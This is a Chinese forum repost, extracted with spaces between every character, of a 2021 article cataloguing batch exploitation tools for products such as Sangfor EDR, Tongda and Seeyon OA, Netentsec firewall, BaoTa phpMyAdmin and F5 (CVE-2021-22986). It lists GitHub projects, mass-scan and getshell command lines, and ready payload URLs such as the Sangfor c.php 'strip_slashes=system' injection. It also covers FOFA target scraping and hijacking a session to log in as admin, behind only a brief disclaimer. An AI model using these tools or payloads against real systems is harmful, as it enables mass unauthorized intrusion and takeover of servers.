搜索

[28864] 2021-04-19_个人采集等保测评+护网漏洞利用工具

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-04-19_个人采集等保测评+护网漏洞利用工具 个 人 采 集 等 保 测 评 + 护 网 漏 洞 利 用 工 具 原 创   7 0 7   O t s 安 全   2 0 2 1 - 0 4 - 1 9 1 . 浪 潮 浪 潮 C l u s t e r E n g i n e V 4 . 0   s y s S h e l l 文 件 远 程 命 令 执 行 漏 洞 批 量 扫 描 文 件 远 程 命 令 执 行 漏 洞 批 量 扫 描 p o c 和 和 e x p 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / M z z d T o T / C l u s t e r E n g i n e V 4 . 0 s y s S h e l l _ r c e 工 具 利 用 工 具 利 用 注 意 脚 本 d a t a 中 的 n o d e 参 数 需 要 为 集 群 中 实 际 存 在 的 主 机 ， 根 据 实 际 情 况 进 行 修 改 ， 这 里 使 用 默 认 的 c u 0 1 。   p o c ： e x p ： 2 . T S L a b - E x p l o i t 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / t a n g x i a o f e n g 7 / T S L a b - E x p l o i t 为 了 挖 更 多 的 漏 洞 ， 开 发 了 这 款 工 具 。 安 全 从 业 数 年 ， 遇 到 很 多 漏 洞 ， 也 有 p o c ， 但 是 每 次 渗 透 测 试 的 过 程 中 都 需 要 到 自 己 的 工 具 库 里 寻 找 对 应 的 P O C 或 者 E X P ， 内 网 环 境 甚 至 无 法 安 装 调 试 ， 所 以 萌 发 了 写 出 一 款 图 形 化 漏 洞 批 量 工 具 及 利 用 工 具 。 工 具 希 望 有 更 多 的 兄 弟 参 与 进 来 研 究 学 习 。 j a v a f x p y t h o n 3   s y s s h e l l _ p o c . p y   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 1 1 1   单 个 u r l 测 试 p y t h o n 3   s y s s h e l l _ p o c . p y   - f   u r l . t x t   批 量 检 测 p y t h o n 3   s y s s h e l l _ e x p . p y   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 1 1 1
3 . N S N G F W 网 康 下 一 代 防 火 墙 网 康 下 一 代 防 火 墙 R C E   漏 洞 批 量 检 测 漏 洞 批 量 检 测 & 利 用 利 用 & 批 量 批 量 g e t s h e l l 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S 0 p o r / N S N G F W - R C E - P O C _ E X P 批 量 g e t s h e l l . p y   - t   线 程 数   - u   u r l s . t x t   成 功 后 会 输 出 一 句 话 地 址 和 密 码 ， 蚁 剑 连 接 即 可 本 工 具 仅 用 于 安 全 测 试 ， 禁 止 未 授 权 非 法 攻 击 站 点 ， 否 则 后 果 自 负 。 4 . 银 澎 云 计 算 银 澎 云 计 算   好 视 通 视 频 会 议 系 统 存 在 任 意 文 件 下 载 好 视 通 视 频 会 议 系 统 存 在 任 意 文 件 下 载 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / M z z d T o T / C N V D - 2 0 2 0 - 6 2 4 3 7 工 具 利 用 工 具 利 用 p o c . p y   - t   线 程 数   - u   u r l s . t x t e x p . p y   - c   w h o a m i   - u   h t t p : / / x . x . x . x p y t h o n 3   C N V D - 2 0 2 0 - 6 2 4 3 7 . p y   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 1 1 1   单 个 u r l 测 试 p y t h o n 3   C N V D - 2 0 2 0 - 6 2 4 3 7 . p y   - f   u r l . t x t   批 量 检 测
5 . A b o u t 致 远 致 远 O A   A 8   某 些 版 本 批 量 某 些 版 本 批 量 g e t s h e l l 漏 洞 漏 洞 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / t i m w h i t e z / s e e y o n - O A - A 8 - G e t S h e l l 6 . s e e y o n   致 远 致 远 O A 批 量 批 量 g e t s h e l l 依 赖 于 p y t h o n 2 . 7   需 安 装   r e q u e s t s   t o m o r r o w   u r l p a r s e   库 7 . c v e - 2 0 2 1 - 2 2 9 8 6   f 5   r c e   漏 洞 批 量 检 测 漏 洞 批 量 检 测   p o c 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S 1 x H c L / f 5 _ r c e _ p o c 使 用 使 用 8 . 宝 塔 宝 塔 p h p m y a d m i n 未 授 权 漏 洞 批 量 扫 描 工 具 使 用 未 授 权 漏 洞 批 量 扫 描 工 具 使 用 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / M z z d T o T / b a o t a 2 0 2 0 0 8 2 3 u r l . t x t 格 式 ： h t t p s : / / w w w . b a i d u . c o m   h t t p : / / 1 . 1 . 1 . 1   h t t p : / / 1 . 1 . 1 . 1 : 8 8 8 8 u s a g e : p y t h o n   z h i y u a n O A g e t s h e l l . p y p y t h o n 3   f 5 _ r c e . p y   - u   指 定 目 标 U R L - f   批 量 检 测 文 件 - c   执 行 命 令 - s / - - s s r f   通 过 s s r f 获 得 t o k e n 执 行 命 令
9 . 批 量 测 试 批 量 测 试 i p 是 否 存 在 某 漏 洞 是 否 存 在 某 漏 洞 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / i m o k i / i m o k i - p o c 用 于 批 量 检 测 i p 是 否 存 在 某 漏 洞   文 件 简 要 说 明 ： 1 . f o f a . p y 文 件 ， 用 于 爬 取 待 测 试 的 i p （ 遵 循 f o f a 语 法 ） , 将 i p 写 入 u r l . t x t 文 件 2 . i m o k i _ p o c . p y 文 件 ， 为 主 要 的 测 试 代 码 ， 无 特 殊 情 况 不 需 要 变 化   3 . c o n f i g . p y 文 件 ， 只 需 要 往 c o n f i g . p y 文 件 添 加 内 容 就 可 以 新 增 能 测 试 的 漏 洞 了 （ 每 一 个 测 试 模 块 用 c l a s s 封 装 了 ， 只 用 填 写 h e a d e r s ， d a t a ， 请 求 行 ,   还 有 判 断 响 应 包 出 现 什 么 信 息 说 明 存 在 漏 洞 ） 即 可 执 行 ： 执 行 ：   1 . 收 集 u r l ， 根 据 输 入 关 键 词 爬 取 u r l （ c o o k i e 文 件 填 写 _ f o f a p r o _ a r s _ s e s s i o n 的 值 ， 在 f i l e 文 件 夹 下 R E A D M E . d o c x 有 说 明 获 取 方 法 ） p y t h o n   f o f a . p y   2 . 执 行 ， 选 择 相 应 模 块 即 可 对 上 面 收 集 到 的 u r l 测 试   p y t h o n   i m o k i _ p o c . p y   - p   例 如 :   p y t h o n   i m o k i _ p o c . p y   - p   C V E _ 2 0 1 8 _ 7 6 0 0 1 0 . 智 慧 校 园 管 理 系 统 前 台 任 意 文 件 上 传 漏 洞 批 量 扫 描 智 慧 校 园 管 理 系 统 前 台 任 意 文 件 上 传 漏 洞 批 量 扫 描 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / M z z d T o T / z h i h u i x i a o y u a n _ u p l o a d _ r c e 工 具 利 用 工 具 利 用 1 1 . 通 达 通 达 O A 前 台 任 意 用 户 伪 造 登 录 漏 洞 批 量 检 测 前 台 任 意 用 户 伪 造 登 录 漏 洞 批 量 检 测 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / d a c a d e / - O A - 1 . 通 达 O A 前 台 任 意 用 户 伪 造 登 录 漏 洞 批 量 检 测 脚 本 2 . 只 检 测 ， 不 提 供 S E S S I O N 3 . 仅 供 安 全 测 试 使 用 4 . 知 识 星 球 内 含 有 极 速 检 测 版 本   h t t p s : / / w w w . l s t a z l . c o m / 2 0 6 / 用 法 用 法 : 1 . 新 建 一 个 u r l s . t x t ， 里 面 放 入 需 要 检 测 的 u r l ， 格 式 随 便 填   h t t p s : / / c o s p l a y . c o m   1 2 7 . 0 . 0 . 1   c o s p l a y . c o m   上 面 三 种 格 式 的 u r l 都 可 以 ， 程 序 已 经 做 了 容 错 处 理 。 2 . p y t h o n 3   批 量 检 测 脚 本 . p y 3 . 查 看 s u c c e s s _ 1 1 . t x t 或 者 s u c c e s s _ 2 0 1 7 . t x t 文 件 夹 。 1 2 . 通 达 通 达 O A   任 意 用 户 登 录 漏 洞 任 意 用 户 登 录 漏 洞 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / N S - S p 4 c e / T o n g D a O A - F a k e - U s e r p y t h o n 3   B a o t a 2 0 2 0 0 8 2 3 . p y   t e s t . t x t f i l e n a m e 为 t x t 文 件   内 容 格 式 为 I P 或 者 u r l ( 例 t e s t . t x t ) p y t h o n 3   e x p . p y   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 1 1 1   单 个 u r l 测 试 p y t h o n 3   e x p . p y   - f   u r l . t x t   批 量 检 测 p y t h o n 3   p o c . p y   - v   版 本   - u r l   u r l
1 3 . 深 信 服 深 信 服 E D R 命 令 执 行 检 测 命 令 执 行 检 测 P O C 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / h a c k m a n g / S X F e d r p o c 深 信 服 E D R 命 令 执 行 检 测 P O C 1 4 . 深 信 服 深 信 服 e d r 远 程 命 令 执 行 远 程 命 令 执 行 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / y a u n s k y / s a n g f o r E d r 说 明 说 明 t o o l l o g c . p h p 文 件 的 变 量 覆 盖 漏 洞 也 是 最 早 开 始 网 传 的 深 信 服 的 R C E 漏 洞 。 。 h t t p s : / / x x x . x x x / t o o l / l o g / c . p h p ? s t r i p _ s l a s h e s = s y s t e m & h o s t = i d 原 理 就 是 典 型 的 变 量 覆 盖 漏 洞 影 响 范 围 影 响 范 围 深 信 服   E D R   v 3 . 2 . 1 6 深 信 服   E D R   v 3 . 2 . 1 7 深 信 服   E D R   v 3 . 2 . 1 9 1 5 . 宝 塔 宝 塔 7 . 4 . 2 版 本 版 本 p m a 漏 洞 验 证 漏 洞 验 证 p o c 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / s h i y e s h u / B T _ 7 . 4 . 2 _ P O C 宝 塔 2 0 2 0 / 8 / 2 3 - - 7 . 4 . 2 版 本 验 证 p o c   p y 练 手 验 证 u r l 暂 时 不 支 持 例 如   w w w . b a i d u . c o m : 1 2 3   这 种 p y t h o n 3   p o c . p y   - v   版 本   - u r l   u r l 运 行 并 获 取 到 可 用 的 S E S S I O N I D 替 换 浏 览 器 C o o k i e 中 的 S E S S I O N I D 即 可 实 现 登 录 为 a d m i n p y t h o n 3   S X F e d r p o c . p y   u r l . t x t   p o c . t x t P a y l o a d / t o o l / l o g / c . p h p ? s t r i p _ s l a s h e s = s y s t e m & h o s t = i d / t o o l / l o g / c . p h p ? s t r i p _ s l a s h e s = s y s t e m & p a t h = i d / t o o l / l o g / c . p h p ? s t r i p _ s l a s h e s = s y s t e m & r o w = i d / t o o l / l o g / c . p h p ? s t r i p _ s l a s h e s = s y s t e m & l i m i t = i d
2 0 2 0 / 8 / 2 6   更 新 批 量 脚 本 l i n e . p y , 支 持 批 量 扫 描 。 数 据 列 表 文 件 为 i p . t x t   由 于 网 络 原 因 失 败 回 显 可 能 会 混 乱 ， 请 多 次 扫 描 以 确 定 结 果 1 6 . 宝 塔 宝 塔 p h p m y a d m i n 未 授 权 漏 洞 批 量 扫 描 未 授 权 漏 洞 批 量 扫 描 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / M z z d T o T / b a o t a 2 0 2 0 0 8 2 3 1 7 . p y t h o n   批 量 检 测 泛 微 云 桥 任 意 文 件 读 取 漏 洞 批 量 检 测 泛 微 云 桥 任 意 文 件 读 取 漏 洞 项 目 地 址 ： h t t p s : / / w w w . c n b l o g s . c o m / T a o L e o n i s / p / 1 4 5 5 2 2 2 4 . h t m l 后 续 会 持 续 更 新 支 持 类 型   h t t p : / / w w w . b a i d u . c o m : 8 8 8   h t t p : / / w w w . b a i d u . c o m   w w w . b a i d u . c o m p y t h o n 3   B a o t a 2 0 2 0 0 8 2 3 . p y   t e s t . t x t f i l e n a m e 为 t x t 文 件   内 容 格 式 为 I P 或 者 u r l ( 例 t e s t . t x t )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理